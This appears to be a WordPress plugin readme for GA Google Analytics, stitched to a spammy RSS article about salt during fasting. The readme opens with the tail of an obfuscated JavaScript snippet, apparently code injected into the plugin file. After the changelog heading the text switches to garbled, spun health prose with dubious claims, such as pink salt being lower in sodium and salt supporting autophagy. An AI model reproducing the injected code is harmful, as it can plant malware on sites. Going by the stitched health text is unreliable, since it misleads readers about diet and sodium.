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Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};=== GA Google Analytics – Connect Google Analytics to WordPress ===

Plugin Name: GA Google Analytics
Plugin URI: https://perishablepress.com/google-analytics-plugin/
Description: Adds your Google Analytics Tracking Code to your WordPress site.
Tags: analytics, google, google analytics, tracking, statistics
Author: Jeff Starr
Author URI: https://plugin-planet.com/
Donate link: https://monzillamedia.com/donate.html
Contributors: specialk
Requires at least: 4.6
Tested up to: 6.6
Stable tag: 20240820
Version:    20240820
Requires PHP: 5.6.20
Text Domain: ga-google-analytics
Domain Path: /languages
License: GPL v2 or later

Adds Google Analytics 4 tracking code to your WordPress site. Supports many tracking features.



== Description ==

> Connects Google Analytics to WordPress
> Easily add Google Analytics 4 to your web pages

This plugin enables Google Analytics for your entire WordPress site. Lightweight and fast with plenty of great features.


### Enable Google Analytics 4 ###

Steps to enable Google Analytics 4:

1. Follow [this guide](https://support.google.com/analytics/answer/9304153) to create a GA4 account
2. During account creation, you'll get a tracking (measurement) ID
3. Add your new tracking ID to the plugin setting, "GA Tracking ID"
4. Select "GA4" for the plugin setting, "Tracking Method"

Save changes and done. Wait 24-48 hours before viewing collected data in your GA account.


### GA Tracking Options ###

Here are the tracking methods available with this plugin:

* [GA4](https://support.google.com/analytics/answer/10089681) / Google Analytics 4 (default)
* [Universal Analytics](https://support.google.com/analytics/answer/11583528) (deprecated)
* Legacy Tracking (deprecated)

__Note:__ GA4 is recommended. Google has deprecated/disabled all other tracking options.


### GA Feature Support ###

* Supports [Google Analytics 4](https://support.google.com/analytics/answer/9304153)
* Supports [Display Advertising](https://support.google.com/analytics/answer/2444872)
* Supports [Enhanced Link Attribution](https://support.google.com/analytics/answer/7377126)
* Supports [IP Anonymization](https://support.google.com/analytics/answer/2763052)
* Supports [Force SSL](https://support.google.com/analytics/answer/6385009)
* Supports [Google Optimize](https://support.google.com/analytics/answer/12979939)
* Supports Tracker Objects (Universal Analytics)
* Supports User Opt-Out (Universal Analytics)

Also supports tracking links and conversions via the Custom Code setting. Learn more about [Google Analytics](https://www.google.com/analytics/).


### Features ###

* Blazing fast performance
* Does one thing and does it well
* Drop-dead simple and easy to use
* Regularly updated and "future proof"
* Stays current with the latest tracking code
* Includes tracking code in header or footer
* Includes tracking code on all WordPress web pages
* Includes option to add your own custom markup
* Sleek plugin Settings page with toggling panels
* Option to disable tracking of admin-level users
* Option to enable page tracking in the Admin Area
* Works with or without Gutenberg Block Editor
* Easy to customize the tracking code
* More features available in the [Pro version&nbsp;&raquo;](https://plugin-planet.com/ga-google-analytics-pro/)

This is a lightweight plugin that inserts the required GA tracking code. To view your site statistics, visit your Google Analytics account.


### Pro Version ###

[GA Google Analytics Pro](https://plugin-planet.com/ga-google-analytics-pro/) includes the same features as the free version, PLUS the following:

* Visitor Opt-Out Box (frontend UI)
* Configure multiple tracking codes
* Live Preview of all tracking codes
* Choose location of multiple tracking codes
* Supports Custom Code in header or footer
* Disable tracking of all logged-in users
* Disable Tracking for any Post IDs, User Roles, Post Types
* Disable Tracking for Search Results and Post Archives
* Display Opt-Out Box automatically or via shortcode
* Complete Inline Help/Documentation
* Priority plugin help and support

Learn more and get [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


### Privacy ###

__User Data:__ This plugin does not collect any user data. Even so, the tracking code added by this plugin is used by Google to collect all sorts of user data. You can learn more about Google Privacy [here](https://policies.google.com/privacy?hl=en-US).

__Cookies:__ This plugin uses simple cookies for the visitor Opt-Out Box to remember user preference for opt-in or out of Google Analytics.

__Services:__ This plugin does not connect to any third-party locations or services, but it does enable Google to collect all sorts of data.

GA Google Analytics is developed and maintained by [Jeff Starr](https://twitter.com/perishable), 15-year [WordPress developer](https://plugin-planet.com/) and [book author](https://books.perishablepress.com/).


### Support development ###

I develop and maintain this free plugin with love for the WordPress community. To show support, you can [make a donation](https://monzillamedia.com/donate.html) or purchase one of my books: 

* [The Tao of WordPress](https://wp-tao.com/)
* [Digging into WordPress](https://digwp.com/)
* [.htaccess made easy](https://htaccessbook.com/)
* [WordPress Themes In Depth](https://wp-tao.com/wordpress-themes-book/)
* [Wizard's SQL Recipes for WordPress](https://books.perishablepress.com/downloads/wizards-collection-sql-recipes-wordpress/)

And/or purchase one of my premium WordPress plugins:

* [BBQ Pro](https://plugin-planet.com/bbq-pro/) - Super fast WordPress firewall
* [Blackhole Pro](https://plugin-planet.com/blackhole-pro/) - Automatically block bad bots
* [Banhammer Pro](https://plugin-planet.com/banhammer-pro/) - Monitor traffic and ban the bad guys
* [GA Google Analytics Pro](https://plugin-planet.com/ga-google-analytics-pro/) - Connect WordPress to Google Analytics
* [Simple Ajax Chat Pro](https://plugin-planet.com/simple-ajax-chat-pro/) - Unlimited chat rooms
* [USP Pro](https://plugin-planet.com/usp-pro/) - Unlimited front-end forms

Links, tweets and likes also appreciated. Thank you! :)



== Installation ==

### How to install the plugin ###

1. Upload the plugin to your blog and activate
2. Visit the settings to configure your options

After configuring your settings, you can verify that GA tracking code is included by viewing the source code of your web pages.

__Note:__ this plugin adds the required GA code to your web pages. In order for the code to do anything, it must correspond to an active, properly configured Google Analytics account. Learn more at the [Google Analytics Help Center](https://support.google.com/analytics/).

[More info on installing WP plugins &raquo;](https://wordpress.org/support/article/managing-plugins/#installing-plugins)


### How to use the plugin ###

To enable Google Analytics tracking (GA4) on your site, follow these steps:

1. Follow [this guide](https://support.google.com/analytics/answer/9304153) to create a GA 4 account
2. During account creation, you'll get a tracking (measurement) ID
3. Add your new tracking ID to the plugin setting, "GA Tracking ID"
4. Select "GA4" for the plugin setting, "Tracking Method"
5. Configure any other plugin settings as desired (optional)

Save changes and done. After 24-48 hours, you can log into your Google Analytics account and view your site statistics.

__* Notes:__

The "Tracking ID" also may be referred to as "Measurement ID", "Property ID", or "Tag ID".

Also note that it can take 24-48 hours after adding the tracking code before any analytical data appears in your [Google Analytics account](https://developers.google.com/analytics/). To check that the GA tacking code is included properly, examine the source code of your web pages. Learn more at the [Google Analytics Help Center](https://support.google.com/analytics/).


### Upgrading Analytics ###

Google Analytics tracking methods [change over time](https://onward.justia.com/history-of-google-analytics/). First there was `urchin.js`, then `ga.js`, `analytics.js`, and then `gtag.js`. Now there is the latest and greatest, "GA4" (Google Analytics 4). If you are using an older version (anything other than GA4) and want to upgrade, check out this [upgrade guide](https://support.google.com/analytics/answer/10759417) from Google.


### Plugin Upgrades ###

To upgrade GA Google Analytics, remove the old version and replace with the new version. Or just click "Update" from the Plugins screen and let WordPress do it for you automatically.

__Note:__ uninstalling the plugin from the WP Plugins screen results in the removal of all settings from the WP database. 

For more information, visit the [GA Plugin Homepage](https://perishablepress.com/google-analytics-plugin/).


### Restore Default Options ###

To restore default plugin options, either uninstall/reinstall the plugin, or visit the plugin settings &gt; Restore Default Options.


### Uninstalling ###

GA Google Analytics cleans up after itself. All plugin settings will be removed from your database when the plugin is uninstalled via the Plugins screen. Your collected GA data will remain in your Google account.


### Pro Version ###

Want more control over your GA Tracking codes? With awesome features like Opt-Out Box and Code Previews? Check out [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


### Like the plugin? ###

If you like GA Google Analytics, please take a moment to [give a 5-star rating](https://wordpress.org/support/plugin/ga-google-analytics/reviews/?rate=5#new-post). It helps to keep development and support going strong. Thank you!



== Screenshots ==

1. GA Google Analytics: Plugin Settings (default)
2. GA Google Analytics: Plugin Settings (expanded)

More screenshots available at the [GA Plugin Homepage](https://perishablepress.com/google-analytics-plugin/).



== Frequently Asked Questions ==


**How to enable Google Analytics 4?**

Check out the top of this page, first section provides the steps to add GA4 to your site.


**I am confused about all the different tracking methods?**

This article should help to get a better idea of the changes: [History of Google Analytics](https://onward.justia.com/history-of-google-analytics/)


**Tracking code is not displayed in source code?**

If you check the source code of your pages and don't see the GA tracking code, check the following:

* Check that your theme includes the hooks, `wp_head` and `wp_footer`
* If you are using a caching plugin, try clearing the cache

If the GA tracking code still is not displayed, most likely there is interference from another plugin or theme. In this case, the best way to resolve the issue is to do some basic [WordPress troubleshooting](https://perishablepress.com/how-to-troubleshoot-wordpress/).


**Google Analytics says tracking code is not detected?**

You need to wait 24-48 hours (or longer) for Google to collect some data. Just takes time for Googlebot to crawl your pages, collect and process data, etc. For more information, check out the [Google Analytics Help Center](https://support.google.com/analytics/).


**Can I filter the output of the "Custom GA Code" setting?**

Yes, you can use the `gap_custom_code` filter hook.


**How to implement Google Optimize?**

Here are the steps:

1. Enable Universal Analytics in the plugin settings
2. Add the Optimize plugin (e.g., `ga('require', 'GTM-XXXXXX');`) to the setting, "Custom GA Code"
3. Add the Page Hiding (flicker) snippet to the setting, "Custom &lt;head&gt; Code"
4. Enable the setting, "Custom &lt;head&gt; Location"

Done! You can view the source code of your web pages to verify the results.

More info about [Google Optimize](https://support.google.com/analytics/answer/12979939).


**How to enable Opt-out of tracking?**

Here are the steps:

1. Add the following code to the plugin setting, "Custom Code": `<script>window['ga-disable-UA-XXXXX-Y'] = true;</script>`
2. Check the box to enable the setting, "Custom Code Location".

Done! You can view the source code of your web pages to verify the results.


**How to disable the "auto" parameter in ga(create)?**

By default the plugin includes the `auto` parameter in the tracking code:

	ga('create', 'GA-123456789000', 'auto');

However some tracking techniques (such as Site Speed Sample Rate) require replacing the `auto` parameter. To do it:

First disable the `auto` parameter by adding the following code to WordPress functions or [custom plugin](https://digwp.com/2022/02/custom-code-wordpress/):

	// GA Google Analytics - Disable auto parameter
	function ga_google_analytics_enable_auto($enable) { return false; }
	add_filter('ga_google_analytics_enable_auto', 'ga_google_analytics_enable_auto');

Now that `auto` is disabled, you can replace it with your own parameter(s). For example, to implement Universal Analytics Site Speed Sample Rate, enter the following code in the plugin setting "Custom Tracker Objects":

	{'siteSpeedSampleRate': 100}

Save changes and done. The resulting tracking code will now look like this:

	ga('create', 'GA-123456789000', {'siteSpeedSampleRate': 100});

So can adjust things as needed to add any parameters that are required.


**How to implement Anonymize?**

1. Add to "Custom Tracker Objects" setting: `{ 'anonymize_ip': true }`
2. Save changes and done.


**Got a question?**

To ask a question, suggest a feature, or provide feedback, [contact me directly](https://plugin-planet.com/support/#contact). Learn more about [Google Analytics](https://www.google.com/analytics/).



== Changelog ==

*Thank you to everyone who shares feedback for GA Google Analytics!*

If you like GA Google Analytics, please take a moment to [give a 5-star rating](https://wordpress.org/support/plugin/ga-google-analytics/reviews/?rate=5#new-post). It helps to keep development and support going strong. Thank you!

> New Pro version available! Check out [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


**20240820**

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	<title>Best fitness app for EU citizens in 2026 &#8211; pspwptest</title>
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		<title>Does Lemon Water Break Your Fast?</title>
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		<pubDate>Tue, 10 Mar 2026 07:00:14 +0000</pubDate>
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					<description><![CDATA[The debate around salt intake during intermittent fasting is a hot topic for health enthusiasts and dieters alike. This article delves into the role of salt during a fast, and explores the myths and realities surrounding it. To avoid colossal electrolyte pills getting stuck in my throat (are these things made for horses?), and to [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>The debate around salt intake during intermittent fasting is a hot topic for health enthusiasts and dieters alike. This article delves into the role of salt during a fast, and explores the myths and realities surrounding it. To avoid colossal electrolyte pills getting stuck in my throat (are these things made for horses?), and to save time measuring, mixing, and cleaning up, I prefer options 3 and 4. Bone broth is awesome, but it’s more of an occasional beverage for me. My everyday go-to is LMNT, our tasty, zero-sugar electrolyte drink mix with a science-backed ratio of sodium, potassium, and magnesium.</p>
<h2>High Protein Yogurt Bowl – No Powder, No Problem</h2>
<p>”, the answer lies in how fasting changes your body’s chemistry. During a fast — especially beyond 12 hours — sodium levels drop because insulin is low and your kidneys excrete more salt. This is why dizziness, headaches, and cramps often show up. Moreover, Celtic salt does not impact autophagy—the process by which cells recycle their components, a key benefit of prolonged fasting. Instead, the minerals in Celtic salt can actually support the body’s hydration status during a fast. Proponents of intermittent fasting assert that pink salt is a healthier source of sodium when compared to other salts.</p>
<h3>Sources of sodium while fasting</h3>
<p>However, the peak sodium loss occurred around day three [9]. However, depending on the type of fasting you’re doing, questions like “Can salt break a fast? For example, if you’re fasting for religious reasons, consuming anything other than water may technically break your fast. Himalayan pink salt, a salt mined from the Salt Range mountains in the Himalayas, gets its signature, rosy hue from mineral-rich deposits.</p>
<p>Though common salt has a trace of these minerals, pink salt is regarded as more nutritious and does not disrupt the fast as much as common salt. To function effectively, your body requires several electrolytes, including sodium. If you’re curious about the health benefits of salt and why it’s so important, keep on reading. One of the most frequently asked questions is whether salt breaks a fast.</p>
<h3>HOW SODIUM SUPPORTS FASTING</h3>
<p>” into a search box, you want a straight answer plus the fine print that actually matters. You’ll get both here, without turning your fast into a flavored drink experiment. Salt, which is primarily sodium chloride, aids in the regulation of vital bodily processes. Because of the potentially detrimental consequences of too much salt, consider using pink Himalayan salt instead for its less sodium content.</p>
<h2>Why Salt Is Sometimes Restricted During Fasting</h2>
<p>It also aids in regulating fluid balance and blood pressure in your body. Remember to choose high-quality salts like pink Himalayan salt, sea salt, or Celtic Sea Salt and consume them in moderation. You can also get special fasting salts as supplements if you need an extra electrolyte replenish. However, it’s essential to listen to your body and adjust the amount according to your health condition. Salt doesn’t break intermittent fasting and incorporating salts for fasting helps support electrolyte balance, hydration, and overall well-being. Yes, you can combine intermittent fasting with a low-carb or keto diet.</p>
<h3>Will pink salt break autophagy during fasting?</h3>
<p>But simple cucumber slices infused in water, or some mint, shouldn’t break a fast. It’s the same thing as herbal or fruit tea, minus the fructose packed chunks. The sweetness you get from the flavors is coming from artificial sweeteners. I’m putting it under the “will break a fast” section as a small warning.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="does salt break a fast" src="https://www.themanual.com/tachyon/sites/9/2026/02/gym_rack.png"/></p>
<h2>Why Pink Salt During Fasting Is Popular</h2>
<p>That’s why the pink salt trick is less of a hack and more of a reliable routine, especially when paired with my pink salt morning ritual for weight loss. Pink salt helps your body remain in a fasted state long enough to activate autophagy. By preventing early dehydration and electrolyte imbalance, pink salt allows your systems to remain calm and steady. Without it, you’re more likely to experience headaches, muscle cramps, or fatigue—symptoms that often lead people to end their fast early. No, salt doesn’t break a fast and is crucial for maintaining electrolyte and fluid balance, especially during fasting.</p>
<ul>
<li>Sodium helps regulate fluid balance and nerve function, potentially reducing headache severity.</li>
<li>If you are taking supplements while fasting, it’s important to know which supplements could break your fast.</li>
<li>While plain water is universally accepted, the addition of non-caloric substances like salt has led to confusion about its metabolic safety.</li>
<li>Most protein powders are high in BCAAs (and calories) and therefore not a friend to fasting.</li>
<li>Here are quick facts about each type of salt, so you can reap the maximum benefits of Intermittent Fasting and achieve your weight loss results.</li>
<li>Overconsumption of salt can lead to elevated blood pressure, which increases the risk of developing coronary heart disease.</li>
</ul>
<h2>Things That Won’t Break Your Fast</h2>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="does salt break a fast" src="https://www.drberg.com/wp-content/uploads/2025/04/sea-salt-himalayan-crystals-on-rustic.jpg"/></p>
<p>Since prebiotics usually contain some calories, it’s best to take all the -biotics within your eating window. Common fasting goals can generally be grouped into 1) autophagy/gut rest and 2) weight loss/metabolic health. The answer depends on what you’re trying to achieve with your <a href="http://www.athleisuremag.com/the-latest/2025/11/18/unimeal-reviews-real-user-feedback-honest-experiences">http://www.athleisuremag.com/the-latest/2025/11/18/unimeal-reviews-real-user-feedback-honest-experiences</a> fast. In this article, we cover seven foods and beverages and reveal whether or not eating or drinking them — while on a fast! To this end, there are particular foods or drinks that you can consume during fasting and still manage to stay in it. First, if it doesn’t have calories, it won’t break a fast.</p>
<h3>How Can You Supplement Salt / Sodium while Fasting?</h3>
<p>Sea salt’s negligible caloric content and minimal impact on insulin levels mean it won’t disrupt this important cellular process. Stick to a small pinch (around ¼ teaspoon) once or twice a day, and listen to your body’s cues. Excessive salt intake can lead to water retention and potentially elevate blood pressure. It’s another type of unrefined salt that contains various trace minerals. The benefits are largely similar to sea salt, providing electrolytes without significant caloric impact.</p>
<h3>The Need for Sodium While Fasting</h3>
<p>In one study, 46 obese individuals consumed a daily electrolyte supplement during a six-week fast. The group lost 56 pounds on average with no severe electrolyte disturbances thanks to electrolyte supplements. From my perspective, it’s unclear whether there’s a significant benefit to fasting beyond reducing our propensity to eat too much and too often. It needs to be done correctly, with a specific goal in mind, and with the understanding that fasting is not the “bee’s knees” for everyone. And while I was an early author to gain traction among the burgeoning fasting community, please don’t confuse me for a fasting zealot. Salt itself does not directly inhibit autophagy, the cellular recycling process.</p>
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